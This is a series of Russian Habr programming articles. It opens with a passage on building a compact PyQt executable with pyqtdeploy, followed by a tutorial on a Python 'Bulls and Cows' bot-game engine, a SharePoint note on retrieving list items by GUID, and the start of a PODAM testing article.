}
```
Параметры:
* build\_host\_from\_source (обязательный) — true — собираем Python для хоста из исходников, false — используем установленный Python (не поддерживается для win32);
* build\_target\_from\_source (обязательный) — true — собираем Python для целевой платформы из исходников, false — используем установленный Python (использование установленного Python поддерживается только на win32);
* source (обязательный, если Python собирается из исходников) — имя архива с исходниками Python;
* version (обязательный, если используется установленный Python) — версия установленного Python;
* dynamic\_loading (не обязательный) — true — включить поддержку динамической загрузки модулей расширения (тех, что на C);
* host\_installation\_bin\_dir (не обязательный) — путь к установленному Python, если не собирается из исходников (если не указан, на win ищется в реестре автоматически, на других платформах — в PATH);
**sip** (обязательный) — компонент, отвечающий за автоматическое генерирование Python-bindings для C/C++ библиотек (подробности [тут](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#sip) и [тут](https://www.riverbankcomputing.com/static/Docs/sip/introduction.html)):
```
"sip": {
"module_name": "PyQt5.sip",
"source": "sip-4.19.15.tar.gz"
}
```
Параметры:
* module\_name (обязательный) — имя sip-модуля;
* source (обязательный) — имя архива с исходниками sip;
**pyqt5** (обязательный) — тут тоже понятно ([подробности](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#pyqt5)):
```
"pyqt5": {
"android#disabled_features": [
"PyQt_Desktop_OpenGL", "PyQt_Printer", "PyQt_PrintDialog",
"PyQt_PrintPreviewDialog", "PyQt_PrintPreviewWidget"
],
"android#modules": [
"QtCore", "QtGui", "QtNetwork", "QtPrintSupport", "QtWidgets",
"QtAndroidExtras"
],
"ios#disabled_features": [
"PyQt_Desktop_OpenGL", "PyQt_MacOSXOnly",
...
],
"ios|macos#modules": [
"QtCore", "QtGui", "QtNetwork", "QtPrintSupport", "QtWidgets",
"QtMacExtras"
],
"linux#modules": [
"QtCore", "QtGui", "QtNetwork", "QtPrintSupport", "QtWidgets",
"QtX11Extras"
],
"win#disabled_features": ["PyQt_Desktop_OpenGL"],
"win#modules": [
"QtCore", "QtGui", "QtNetwork", "QtPrintSupport", "QtWidgets",
"QtWinExtras"
],
"source": "PyQt5_*-5.12.1.tar.gz"
}
```
Параметры:
* disabled\_features (не обязательный) — позволяет выключить конкретный функционал. Если не указан, выключаемые фичи определяются автоматически на основе фич, выключенных в собранном нами Qt ([подробности](https://www.riverbankcomputing.com/static/Docs/PyQt5/building_with_configure.html#cmdoption-configure-py-disable-feature));
* modules (обязательный) — перечисляем модули, которые мы хотим собрать ([подробности](https://www.riverbankcomputing.com/static/Docs/PyQt5/building_with_configure.html#cmdoption-configure-py-enable));
* source (обязательный) — имя архива с исходниками PyQt;
**pyqt3D**, **pyqtchart**, **pyqtdatavisualization**, **pyqtpurchasing**, **qscintilla** (не обязательные) — дополнительные модули, не входящие в состав PyQt. Имеют единственный параметр `source` — имя архива с исходниками.
Стоит заметить, что некоторые значения параметров могут не работать друг с другом. В таких случаях вы получите ошибку при сборке **sysroot** с информацией, что не так. Я постарался здесь описать такие случаи, по крайней мере, для обязательных компонентов.
### Собираем sysroot
Давайте взглянем на итоговый *sysroot.json* для нашей программы:
```
{
"linux#zlib": {
"source": "zlib-1.2.11.tar.gz"
},
"linux#qt5": {
"source": "qt-everywhere-src-5.12.2.tar",
"edition": "opensource",
"configure_options": [
"-no-dbus", "-no-system-proxies", "-no-cups", "-no-sql-db2",
"-no-sql-ibase", "-no-sql-mysql", "-no-sql-sqlite",
"-no-sql-sqlite2", "-no-sql-oci", "-no-sql-odbc",
"-no-sql-psql", "-no-sql-tds", "-no-sqlite", "-ccache",
"-optimize-size"
],
"skip": [
"qt3d", "qtactiveqt", "qtandroidextras", "qtcanvas3d",
"qtcharts", "qtconnectivity", "qtdatavis3d", "qtdeclarative",
"qtdoc", "qtgamepad", "qtgraphicaleffects", "qtlocation",
"qtmacextras", "qtmultimedia", "qtnetworkauth", "qtpurchasing",
"qtquickcontrols", "qtquickcontrols2", "qtremoteobjects",
"qtscript", "qtscxml", "qtsensors", "qtserialbus",
"qtserialport", "qtspeech", "qtsvg", "qttools",
"qttranslations", "qtvirtualkeyboard", "qtwayland",
"qtwebchannel", "qtwebengine", "qtwebglplugin",
"qtwebsockets", "qtwebview", "qtwinextras", "qtx11extras",
"qtxmlpatterns"
],
"disabled_features": [
"network", "bearermanagement", "dnslookup", "dtls", "ftp",
"http", "localserver", "networkdiskcache", "networkinterface",
"networkproxy", "socks5", "udpsocket", "concurrent", "future",
"cups", "printer", "printdialog", "printpreviewdialog",
"printpreviewwidget", "sql", "sqlmodel", "testlib", "xml"
]
},
"linux#python": {
"build_host_from_source": false,
"build_target_from_source": true,
"source": "Python-3.7.2.tgz",
"dynamic_loading": true
},
"linux#sip": {
"module_name": "PyQt5.sip",
"source": "sip-4.19.15.tar.gz"
},
"linux#pyqt5": {
"modules": ["QtCore", "QtGui", "QtWidgets"],
"source": "PyQt5_*-5.12.2.tar.gz"
}
}
```
Что интересного мы тут видим? Во-первых, не используется ряд компонентов(например, ssl, pyqt3D и прочие). Во-вторых, собирать наш exe'шник мы будет под linux (а точнее, linux-64; в нашем случае, можно не указывать перед каждым компонентом платформу).
Далее, в qt5 по-максимуму выключены модули и функции, которые не будут использоваться (те, о назначении которых у меня было хотя бы минимальное представление). Среди top-level директорий собирается только QtBase. Особо упомяну опции `-optimize-size` и `-ccache`. Первая позволяет уменьшить размер собранного Qt и, соответственно, итогового файла (у меня получилось минус 5 МБ), но увеличится время компиляции, вторая — использовать ccache (по крайней мере, на linux), что при повторных компиляциях СУЩЕСТВЕННО уменьшает время (у меня уменьшилось раз в 5). Никакой настройки не требует, просто ставим командой `apt install ccache`.
В pyqt5 собираем только модули QtCore, QtGui, QtWidgets.
В python включен `dynamic_loading`, так как мы хотим позднее динамически прилинковать C-extension.
Прежде чем приступить к сборке **sysroot**, не забываем скачать все необходимые исходники: [zlib](https://zlib.net/zlib-1.2.11.tar.gz), [Qt5](https://download.qt.io/official_releases/qt/5.12/5.12.2/single/qt-everywhere-src-5.12.2.tar.xz), [Python](https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tar.xz), [sip](https://www.riverbankcomputing.com/static/Downloads/sip/4.19.15/sip-4.19.15.tar.gz), [PyQt5](https://www.riverbankcomputing.com/static/Downloads/PyQt5/5.12.2/PyQt5_gpl-5.12.2.tar.gz) и кладем их в папочку с *sysroot.json* (можно и любую другую, указав потом путь к ней). Запускаем сборку:
```
pyqtdeploy-sysroot sysroot.json
```
Данная команда имеет еще несколько опций, которые можно посмотреть [здесь](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/sysroot.html#the-command-line).
Крайне рекомендую также использовать опцию `--verbose`. Будьте готовы к тому, что вы получите целую кучу ошибок, прежде чем все удачно соберется. Многие из них будут связаны с тем, что у вас не установлены dev-пакеты. Я их здесь не перечисляю, ибо они зависят от вашей конфигурации и платформы. Наверняка, вам нужен будет *python3-dev*, также смотрим [тут](https://doc.qt.io/qt-5/build-sources.html) (особенно, разделы *Requirements*). Правда, вам никто не запрещает использовать для тех же Qt и Python уже установленные версии (я не пробовал, возможны свои подводные камни).
Ну и запаситесь попкорном, ибо, в зависимости от мощности вашего ~~калькулятора~~ компьютера, это может занять немалое время.
### Создаем "проектный" файл ([документация](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/pyqtdeploy.html))
Как только у нас все удачно собралось, приступаем к выбору модулей, которые мы хотим запаковать в exe'шник. Для этого в pyqtdeploy есть удобная утилита с GUI. Запускаем (имя **.pdy** файла может быть любым):
```
pyqtdeploy main.pdy
```
**Application Source**. В первой вкладке мы видим следующие настройки:
* Name — имя вашего будущего exe'шника;
* Main script file (не указывается, если используется Entry Point) — скрипт, используемый для запуска программы (в нашем случае, *main.py*);
* Entry Point (не указывается, если используется Main script file) — точка входа для программы, основанной на setuptools;
* sys.path — используется для указания дополнительных директорий, zip-файлов и яиц (тех, что Python egg), которые будут добавлены в sys.path (я не использовал, смотрим доки, там подробно описана эта опция);
* Target Python version — версия Python;
* Target PyQt version — PyQt4 или PyQt5 (игнорируется, если вы мазохист и решили собрать программу, не использующую PyQt, этим монстром);
* Use console — выбрать, если приложение должно использовать консоль (только Windows). Может быть полезно для дебага;
* Application bundle — выбрать, если приложение должно быть собрано как bundle (только MacOS);
* Application Package Directory — содержит все файлы, составляющие вашу программу. Для добавления жмем кнопку Scan… У нас папка со всеми "кишками" (*src*) отделена от *main.py*, так что выбираем эту папку и галочками выделяем все файлы, которые мы хотим включить в итоговый файл. Если же у вас нет такого разделения (т.е. *main.py* находится внутри *src*), то напротив *main.py* галочку нужно снять (или напротив вашего аналога, указанного в Main script file).
Еще один момент: любой файл с расширением **.py** будет "заморожен" (будет сгенерирован байт-код) — в ряде случаев это может быть нежелательным.
Кнопки справа:
* Scan… — добавляем файлы в Application Package Directory;
* Remove all — очищаем Application Package Directory;
* Include all — выделяем все файлы в Application Package Directory;
* Exclude all — снимаем выделение со всех файлов в Application Package Directory;
* Exclusions — паттерны, позволяющие исключить файлы из Application Package Directory. Дважды кликаем на пустой строке для добавления;
**qmake**. Так как в сборке участвует qmake, здесь можно добавить дополнительные параметры для него (я не использовал);
**PyQt Modules**. На этой вкладке выделяем все PyQt-модули, которые мы явно импортируем в нашей программе. Если они зависят от других модулей, те выделятся автоматически. В нашем случае использовались QtCore, QtGui, QtWidgets, uic; sip подхватился автоматом.
Если планируется использовать уже установленный PyQt, а не привязывать статически его к нашему исполняемому файлу, ничего не выделяем (такой сценарий не тестировался).
**Standard Library**. Здесь тот же подход, что и в предыдущем пункте, только для стандартной библиотеки. Если у вас в программе явно импортируется какой-то модуль, ставим галку. Если выделенным нами модулям (или самому интерпретатору) нужны другие модули, они выделятся автоматом (квадратики).
Правда это не всегда работает. Если поставили какой-то пакет со стороны (через тот же pip), и он импортирует что-то из стандартной библиотеки (еще не выделенное), вы получите при запуске `ImportError`. Так что вам придется вернуться сюда и поставить галочку. Например, я использую библиотеку PIL, и одному из модулей нужны была библиотека fractions.
Python использует ряд модулей/пакетов (например, ssl), которым для работы нужны внешние библиотеки. Если мы хотим их статически привязать, то мы настраиваем это дело справа. В INCLUDEPATH указываем путь к заголовочным файлам (headers), в LIBS — путь к этой либе (мной не использовались, так что подробности смотрим в доках).
**Other Packages**. На этой вкладке выбираем необходимые нам сторонние пакеты (например, установленные из pypi). Подход тот же, что и в Application source: кликаем дважды на пустой строке, выбираем папку (в нашем случае, site-packages используемого при разработке virtual environment), жмем Scan и выбираем нужные пакеты/модули (у нас это PIL).
**Other Extension Modules**. Тут мы настраиваем модули расширения на C, которые хотим СТАТИЧЕСКИ привязать к exe'шнику (сторонние; те, что в стандартной библиотеке, привязываются сами).
Мы может настроить как компиляцию с нуля этих самых расширений, так и привязку уже скомпилированных. Второе делается довольно просто. Допустим у нас есть пакет **Package** со статической либой **Lib.a**, то в поле Name указываем полное имя расширения, используемое во время импорта — **Package.Lib** (без расширения **.a**); затем в поле LIBS указываем путь к этому расширению, например, *-L/home/user1/venv/programme1/lib/python3.7/site-packages/Package -lLib* (это специальный формат, также можно указать путь "по старинке", */home/user1/venv/programme1/lib/python3.7/site-packages/Package/Lib.a*).
С компиляцией я не разбирался, но советую почитать, во-первых, про эту вкладку в [доках](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/pyqtdeploy.html#adding-other-extension-modules), во-вторых, про [qmake](https://doc.qt.io/qt-5/qmake-manual.html) (там гораздо подробнее описаны опции, чем в pyqt'шных доках).
А что, если у нас динамическая либа, например, **Lib.so**? Еще проще — переименовываем ее в **Package.Lib.so** (т.е. все то же полное имя расширения, используемое во время импорта + расширение) и кладем его рядом с нашим exe'шником. Все должно подхватится, если это простое расширение без всяких зависимостей. В противном случае, ждите опять кучу `ImportError`. Мне, например, так и не удалось прикрутить **\_imaging.so**, используемый PIL'ом.
**Locations**. Тут тоже подробно не останавливаемся, за описанием отдельных путей [сюда](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/pyqtdeploy.html#defining-file-and-directory-locations). Если вы действовали в соответствии с этой статьей (собранный **sysroot** лежит тут же, рядом с *main.pdy*), тут менять ничего не надо.
### Собираем exe'шник ([документация](https://www.riverbankcomputing.com/static/Docs/pyqtdeploy/building.html))
Наконец-таки собираем наш исполняемый файл:
```
pyqtdeploy-build main.pdy
cd build-linux-64
../sysroot-linux-64/host/bin/qmake
make #nmake для win
```
Гипотетически, все должно собраться, на деле — доки и гугл вам в помощь.
### Лирическое отступление #1 — меняем поведение программы в зависимости от того, "заморожено" оно или нет
Если вам нужно определить, запущена ваша программа как есть или из собранного exe'шника, используется тот же подход, что и в PyInstaller:
```
if getattr(sys, 'frozen', False):
# запустили из exe'шника
else:
# запустили не из exe'шника
```
### Лирическое отступление #2 — использование ресурсов (изображения, иконки и пр.)
У Qt имеется специальная "[система ресурсов](https://doc.qt.io/qt-5/resources.html)", которая позволяет с помощью утилиты rcc упаковать любые бинарные файлы в exe'шник. Далее с помощью пути специального формата вы можете получить доступ к необходимому ресурсу. В нашем проекте файл с иконкой *icon.png* расположен в *src/resources/images*, тогда путь в "системе ресурсов" будет выглядеть так — *:/src/resources/images/icon.png*. Как видите, ничего хитрого. Однако с таким путем есть одна засада — его понимают только Qt'шные функции. Т.е. если вы напишите у себя в программе что-нибудь в духе:
```
icon = QIcon(':/src/resources/images/icon.png')
```
Все будет в порядке. Но если, например, так:
```
icon_file = open(':/src/resources/images/icon.png', 'rb')
icon = icon_file.read()
```
Ничего не выйдет, ибо `open` будет пытаться найти такой путь в вашей файловой системе и, естественно, ничего не найдет.
Если вам нужно читать запакованные ресурсы не только средствами Qt (например, вы, как и я, создавали GUI с помощью Qt Designer и получили файл **.ui**, который потом надо прочитать с помощью `loadUi`), нужно будет сделать как-то так:
```
ui_file = QtCore.QFile(':/src/resources/images/icon.png')
ui_file.open(QtCore.QIODevice.ReadOnly)
data = ui_file.readAll()
ui_file.close()
ui_file = BytesIO(bytes(data))
```
### Итоги
Стоит ли так сильно заморачиваться, если вам нужен exe'шник, и старые добрые дедовские способы распространения программы вам по каким-то причинам не подходят? Если вы не используете PyQt, то, на мой взгляд, точно не стоит. Используйте что-нибудь более дружелюбное (тот же PyInstaller). Если хотите выжать максимум соков из вашего файла — дерзайте. В конечном счете мне таки удалось уменьшить размер файла до ~40 МБ (c `-optimize-size` ~35 МБ), что все-равно больше, чем хотелось бы.
Когда у нас собрана минимально необходимая Qt и PyQt, было бы неплохо попробовать сделать на их основе exe'шник с помощью PyInstaller или cx\_Freeze и посмотреть на размер, но это, как говорится, уже другая история... | https://habr.com/ru/post/487900/ | null | ru | null |
# Игра для программистов — Быки и коровы
Привет Хабралюди. Я расскажу вам, как на Питоне написать движок и примерный бот игры для программистов. [Игры для программистов](http://ru.wikipedia.org/wiki/%D0%98%D0%B3%D1%80%D0%B0_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82%D0%BE%D0%B2) — это такие игры, в которые играют не люди, а программы.
Мы будем писать вариант игры [«Быки и коровы»](http://ru.wikipedia.org/wiki/%D0%91%D1%8B%D0%BA%D0%B8_%D0%B8_%D0%BA%D0%BE%D1%80%D0%BE%D0%B2%D1%8B), по-английски которая называется «Bulls and Cows». Правила оригинальной игры между двумя людьми можете прочитать [тут](http://en.wikipedia.org/wiki/Bulls_and_cows).
Правила нашей игры:
1. Движок задумывает число, оно n значное и цифры в нем не могут повторяться. Движок сообщает программе-игроку число n
2. Программа-игрок предполагает какое-то число, сообщает его движку
3. Движок сообщает программе-игроку, сколько цифр из числа программы-игрока есть в задуманном и стоят на своем месте (Быки), и сколько есть в задуманно, но не стоят на своем месте (коровы).
4. Если число не угаданно, возврат к п.2
Программа-игрок будет общаться с движком посредством stdin/out. [Наша спецификация](http://code.google.com/p/python-robots/wiki/IdeasForSite) предполагает, что движок запускает переданные ему в качестве аргументов программы-игроки.
#### Движок
Напишем вначале функциональные части:
> `Copy Source | Copy HTML1.
> 2. #!/usr/bin/python
> 3. import random
> 4.
> 5. class Game(object):
> 6. def \_\_init\_\_(self, number=6):
> 7. if number > 10:
> 8. exit()
> 9. **self**.number = number
> 10. **self**.secret = **self**.make\_secret(**self**.number)
> 11. **self**.main()
> 12.
> 13. def is\_right\_secret(self, secret):
> 14. """check all digits are different"""
> 15. dct = {}
> 16. for digit in secret:
> 17. try:
> 18. if dct[digit]:
> 19. return False
> 20. except KeyError:
> 21. dct[digit] = True
> 22. return True
> 23.
> 24. def make\_secret(self, number):
> 25. """generate number-counted secret"""
> 26. while True:
> 27. result = ""
> 28. for i in **range**(number):
> 29. result += "%d" % **random**.randint( 0,9)
> 30. if **self**.is\_right\_secret(result):
> 31. return result`
Здесь мы задумываем число, которое программы-игроки будут отгадывать. Также мы проверяем, чтобы все цифры в числе были разными. затем мы запускаем Game.main — основной цикл программы.
Также необходимо дописать функцию подсчета быков и коров:
> `Copy Source | Copy HTML1.
> 2. def count\_bulls\_cows(self, number, secret):
> 3. """count bulls and cows in number/secret"""
> 4. cows, bulls = 0, 0
> 5. dct = {}
> 6. for i in **range**(**len**(secret)):
> 7. if secret[i]==number[i]:
> 8. bulls += 1
> 9. else:
> 10. dct[secret[i]] = True
> 11. try:
> 12. if dct[number[i]]:
> 13. cows += 1
> 14. except KeyError:
> 15. pass
> 16. return bulls, cows`
Теперь введем константы, которые будут обозначать кодовые слова для общения с программами игроками, и некоторые другие:
> `Copy Source | Copy HTML1.
> 2. MESS\_NUMBER\_DIGITS = "number\_digits" #start message
> 3. MESS\_GUESS = "guess!"
> 4. MESS\_COWS = "cows:" #If the matching digits on different positions, they are "cows"
> 5. MESS\_BULLS = "bulls:" #If the matching digits are on their right positions, they are "bulls"
> 6. MESS\_BULLS\_COWS\_SPLIT = "|" #Splitter between cows and bulls message
> 7. MAX\_TURN\_NUMBER = 1000`
Теперь опишем игровой процесс в main(): (привожу с отладочными сообщениями)
> `Copy Source | Copy HTML1. def main(self):
> 2. for player in **self**.players:
> 3. player.connect()
> 4. player.send("%s %d" % (MESS\_NUMBER\_DIGITS, **self**.number))
> 5. print ("%s %d" % (MESS\_NUMBER\_DIGITS, **self**.number))
> 6. starttime = **time**.**time**()
> 7. while True:
> 8. if player.turns > MAX\_TURN\_NUMBER:
> 9. print ">>>> Player '%s' turns timeout" % player.name
> 10. player.disconnect()
> 11. break
> 12. answer = player.recieve()
> 13. print ">>>> Answer is %s" % answer
> 14. if **len**(**self**.secret)!=**len**(answer):
> 15. **self**.stop\_game("wrong number")
> 16. bulls, cows = **self**.count\_bulls\_cows(answer, **self**.secret)
> 17. if bulls==**self**.number:
> 18. player.time = **time**.**time**() - starttime
> 19. player.send("%s" % MESS\_GUESS)
> 20. player.disconnect()
> 21. print ">>>> Player disconected"
> 22. break
> 23. else:
> 24. player.turns += 1
> 25. player.send("%s %d%s%s %d" % (MESS\_BULLS, bulls,\
> 26. MESS\_BULLS\_COWS\_SPLIT, MESS\_COWS, cows))
> 27. print(">>>> %s %d%s%s %d" % (MESS\_BULLS, bulls,\
> 28. MESS\_BULLS\_COWS\_SPLIT, MESS\_COWS, cows) )
> 29.
> 30. winner = **self**.players[ 0]
> 31. for player in **self**.players:
> 32. if player.turns
> - winner = player
>
> - print ">>>> Winner name: %s" % winner.name`
Тут все понятно. По очереди играем с каждым игроком. Вначале отправляем количество цифр в загаданном числе. Засекаем время. Принимаем число-догадку игрока, если не угадал (число быков не равно числу цифр в числе) — отправляем число быков/коров и увеличиваем число ходов, потребовавшеясе игроку на отгадку, если угадал — останавливаем таймер, пишем ему что он выиграл, отключаемся от игрока, переходим к следующему.
В конце выбираем победителя.
Опишем машинерию соединения с процессами программ-игроков в классе Player:
> `Copy Source | Copy HTML1.
> 2. class Player(object):
> 3. def \_\_init\_\_(self, name, progname):
> 4. **self**.name = name
> 5. **self**.turns = 0
> 6. **self**.time = -1
> 7. **self**.progname = progname
> 8.
> 9. def connect(self):
> 10. **self**.\_\_proc = **subprocess**.Popen(**self**.progname, stdin=**subprocess**.PIPE,\
> 11. stdout=**subprocess**.PIPE)
> 12.
> 13. def send(self, sendstring):
> 14. **self**.\_\_proc.stdin.write(sendstring+'\n')
> 15.
> 16. def recieve(self)
> 17. return **self**.\_\_proc.stdout.**readline**().strip('\n')
> 18.
> 19. def disconnect(self)
> 20. **self**.\_\_proc.terminate()
> 21.`
Немного перепишем Game.\_\_init\_\_, чтобы инициализировать игроков:
> `Copy Source | Copy HTML1. def \_\_init\_\_(self, number, players\_progs):
> 2. if number > 10:
> 3. exit()
> 4. **self**.number = number
> 5. **self**.secret = **self**.make\_secret(**self**.number)
> 6.
> 7. **self**.players = []
> 8.
> 9. for playername in players\_progs:
> 10. **self**.players.append(Player(playername, players\_progs[playername]))
> 11.
> 12. **self**.main()
> 13.`
#### Тупой бот
Теперь надо потестировать получившееся. Для тестов нам нужна программа-игрок, самая простая. Она же потом будет api — классом, от которого настоящие программы-игроки будут наследоваться
Создадим в папке проекта подпапку api, а в нем файл mooapi.py:
> `Copy Source | Copy HTML1.
> 2. #!/usr/bin/python
> 3. import random
> 4. import sys
> 5.
> 6. MESS\_NUMBER\_DIGITS = "number\_digits" #start message
> 7. MESS\_GUESS = "guess!"
> 8. MESS\_COWS = "cows:" #If the matching digits on different positions, they are "cows"
> 9. MESS\_BULLS = "bulls:" #If the matching digits are on their right positions, they are "bulls"
> 10. MESS\_BULLS\_COWS\_SPLIT = "|" #Splitter between cows and bulls message
> 11.
> 12.
> 13.
> 14. class MooPlayer(object):
> 15.
> 16. ##technical functions
> 17. def send(self, st):
> 18. **sys**.stdout.write("%s\n"%st)
> 19. **sys**.stdout.flush()
> 20.
> 21. def recieve(self):
> 22. return **sys**.stdin.**readline**().strip("\n")
> 23.
> 24.
> 25. def number\_split(self, st):
> 26. num = st.split(' ')
> 27. if num[ 0]==MESS\_NUMBER\_DIGITS:
> 28. return **int**(num[1])
> 29. else:
> 30. exit()
> 31.
> 32. def answer\_split(self, st):
> 33. try:
> 34. bullst, cowst = st.split(MESS\_BULLS\_COWS\_SPLIT)
> 35. except ValueError:
> 36. exit()
> 37. bulls, cows = bullst.split(' '), cowst.split(' ')
> 38. if bulls[ 0]==MESS\_BULLS and cows[ 0]==MESS\_COWS:
> 39. return bulls[1], cows[1]
> 40. else:
> 41. exit()
> 42.
> 43. def main(self):
> 44. **self**.number = **self**.number\_split(**self**.recieve())
> 45.
> 46. while True:
> 47. try:
> 48. **self**.oldguess = guess
> 49. guess = **self**.guess(cows=cows, bulls=bulls, firstrun=False)
> 50. except NameError:
> 51. guess = **self**.guess(firstrun=True)
> 52. **self**.send(guess)
> 53. answer = **self**.recieve()
> 54. if answer == MESS\_GUESS:
> 55. exit()
> 56. else:
> 57. bulls, cows = **self**.answer\_split(answer)
> 58.
> 59.
> 60. ##some functions
> 61. def is\_right\_secret(self, secret):
> 62. """check all digits are different"""
> 63. dct = {}
> 64. for digit in secret:
> 65. try:
> 66. if dct[digit]:
> 67. return False
> 68. except KeyError:
> 69. dct[digit] = True
> 70. return True
> 71.
> 72. def generate\_number(self, number):
> 73. """generate number-counted secret"""
> 74. while True:
> 75. result = ""
> 76. for i in **range**(number):
> 77. result += "%d" % **random**.randint( 0,9)
> 78. if **self**.is\_right\_secret(result):
> 79. return result
> 80.
> 81. ############ Main guess function ###########
> 82. def guess(self, firstrun, bulls= 0, cows= 0):
> 83. """This is main api function. firstrun means that it is first time run,
> bulls/cows is number of bulls and cows from last time.
> also you have:
> self.number - number of digits
> self.oldguess - old guess try
> """
> 84. return **self**.generate\_number(**self**.number)
> 85.
> 86.
> 87. if \_\_name\_\_ == "\_\_main\_\_":
> 88. mooplayer = MooPlayer()
> 89. mooplayer.main()`
Тут все просто, часть кода скопированна из модуля движка, анализа никакого не происходит, просто угадывается случайным числом.
Тому, кто будет писать программу-игрока, нужно будет импортировать модуль mooapi, наследовать свой класс от MooPlayer и переопределить функцию MooPlayer.guess()
Почему я не импортировал модуль движка — для наглядности, тем, кто будет писать апи для других языков программирования.
Теперь можно запустить программу-игрока и попробовать поиграть с ней в быки и коровы:
`>>number_digits 4
5032
>>bulls: 0|cows: 0
4123
>>bulls: 0|cows: 0
2890
>>bulls: 0|cows: 0
2691
>>guess!`
(>>) обозначает ввод с клавиатуры
#### Запускаем
теперь добавим в конец модуля движка:
> `Copy Source | Copy HTML1.
> 2. if \_\_name\_\_ == "\_\_main\_\_":
> 3. game = Game(2, {'Player1':"api/mooapi.py", 'Player2':"api/mooapi.py", 'HabraMan':"api/mooapi.py" })`
Это запустит игру с двухзначными числами, тремя игроками с одинаковыми программами api/mooapi.py. С двухзначными — это чтобы наша тупая программа смогла угадать.
Запустим модуль движка:
`>>>> bulls: 0|cows: 1
>>>> Answer is 67
>>>> bulls:1 cows:0
>>>> bulls: 1|cows: 0
>>>> Answer is 87
>>>> bulls:0 cows:0
>>>> bulls: 0|cows: 0
>>>> Answer is 49
>>>> bulls:0 cows:0
>>>> bulls: 0|cows: 0
>>>> Answer is 54
>>>> bulls:0 cows:0
>>>> bulls: 0|cows: 0
>>>> Answer is 82
>>>> bulls:1 cows:0
>>>> bulls: 1|cows: 0
>>>> Answer is 21
>>>> bulls:0 cows:0
>>>> bulls: 0|cows: 0
>>>> Answer is 62
>>>> bulls:2 cows:0
>>>> Player disconected
>>>> Winner name: HabraMan`
Работает!
В следующем посте я расскажу, как сделать программу полезной — прикрутить к ней парсинг аргументов коммандной строки и вывод всего добра в xml, в котором хавает ввод наш будущий флеш-проигрыватель на [нашем будущем сайте](http://code.google.com/p/python-robots/wiki/IdeasForSite).
[Ссылка на полные тексты программ](http://code.google.com/p/python-robots/source/browse/#hg/engines/moo)
Радость от движка заключается в том, что его можно будет прикрутить на мультиюзерный сайт, который мы сейчас пишем.
Вы можете стать первым, кто реализует [алгоритм](http://mathworld.wolfram.com/Mastermind.html) достопочтенного Кнута в нашем боте. | https://habr.com/ru/post/74727/ | null | ru | null |
# Получаем SPListItem из SPList. Очень быстро и очень медленно
При профилировании веб-части для SharePoint с удивлением обнаружил узкое место в SPListItemCollection.this[Guid]… Получение элемента списка по Guid'у, фактически первичному ключу, занимало уйму времени на большой коллекции.
Происходило это так
> `var uniqId = new Guid(/\* get GUID somehow \*/);
>
> SPList list = /\* get list somehow \*/
>
>
>
> SPListItem anItem = list.Items[uniqId];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как есть еще методы получения элемента из списка?
Есть SPList.GetItemByUniqueId(Guid uniqueId) — при использовании не возникает такой задержки. Почему?
Воспользуемся рефлектором, и пореверсинженерим шарепонит…
Вот что мы видим в SPListItemCollection.this[Guid]:
> `public SPListItem this[Guid uniqueId]
>
> {
>
> get
>
> {
>
> this.EnsureListItemsData();
>
> this.EnsureFieldMap();
>
> int iIndex = 0;
>
> int columnNumber = this.m\_mapFields.GetColumnNumber("UniqueId");
>
> string str2 = uniqueId.ToString("B").ToLower();
>
> while (true)
>
> {
>
> if (iIndex >= this.m\_iRowCount)
>
> {
>
> throw new ArgumentException();
>
> }
>
> string str = ((string) this.m\_arrItemsData[columnNumber, iIndex]).ToLower();
>
> int num3 = SPUtility.StsBinaryCompareIndexOf(str, ";#");
>
> if ((num3 > 0) && (str.Substring(num3 + 2) == str2))
>
> {
>
> this.EnsureListItemIsValid(iIndex);
>
> if (this.m\_iColection == null)
>
> {
>
> return new SPListItem(this, iIndex);
>
> }
>
> return this.m\_iColection.ItemFactory(iIndex);
>
> }
>
> iIndex++;
>
> }
>
> }
>
> }
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Содержимое **всей** коллекции перебирается элемент за элементом, для каждого элемента вычисляется совпадение GUID'а с заданным. Чем больше коллекция — тем дольше работаем.
А теперь GetItemByUniqueId:
> `public SPListItem GetItemByUniqueId(Guid uniqueId)
>
> {
>
> SPQuery query = new SPQuery();
>
> query.Query = "" + uniqueId.ToString("B") + "";
>
> query.ViewAttributes = "Scope=\"RecursiveAll\" ModerationType=\"Moderator\"";
>
> query.MeetingInstanceId = -2;
>
> query.QueryOpt = SPQuery.SPQueryOpt.None | SPQuery.SPQueryOpt.UniqueId;
>
> SPListItemCollection items = this.GetItems(query);
>
> if (items.Count != 0)
>
> {
>
> return items[0];
>
> }
>
> while (!(this.ID == this.Lists.Web.UserInfoListId))
>
> {
>
> throw new ArgumentException();
>
> }
>
> throw new ArgumentException(SPResource.GetString("CannotFindUser", new object[0]));
>
> }
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь, используя SPQuery, получаем непосредственно саму запись без перебора коллекции.
Вывод: на больших списках пользоваться SPList.Items[Guid] — долго, непроизводительно. Лучше предпочесть SPList.getItemByUniqueId(Guid);
**UPD**: Спасибо [vladem](https://habrahabr.ru/users/vladem/) — полезная линка на тематический KB — <http://msdn.microsoft.com/en-us/library/bb687949.aspx> | https://habr.com/ru/post/71906/ | null | ru | null |
# PODAM Java объекты для Unit-тестирования
Добрый день!
При unit-тестировании часто сталкиваешься с необходимостью заполнять сложные объекты, чтобы возвращать их со стороны заглушек или наоборот — давать их на вход методам и тестам. Некоторые разработчики игнорируют get-set конвенции Java, а даже если геттеры и сеттеры есть, то заполнение объекта достаточно сложной структуры порой требует больше кода, чем сам тест. Это анти-паттерн **[Excessive Setup](http://qabok.com/tdd-patterns-and-anti-patterns/)**, и хочется научиться с ним бороться. В этой статье я расскажу, как с помощью библиотеки PODAM заполнять объекты быстро и красиво, продолжая идеи разумной рандомизации как входных данных для тестов, так и данных, возвращаемых заглушками — покажу на примерах, пороюсь в исходниках.
Итак, чтобы долго не думать, но и не заниматься миром животных, сгенерим страну. Примитивную, но достаточную для демонстрации.
#### 1. Модель
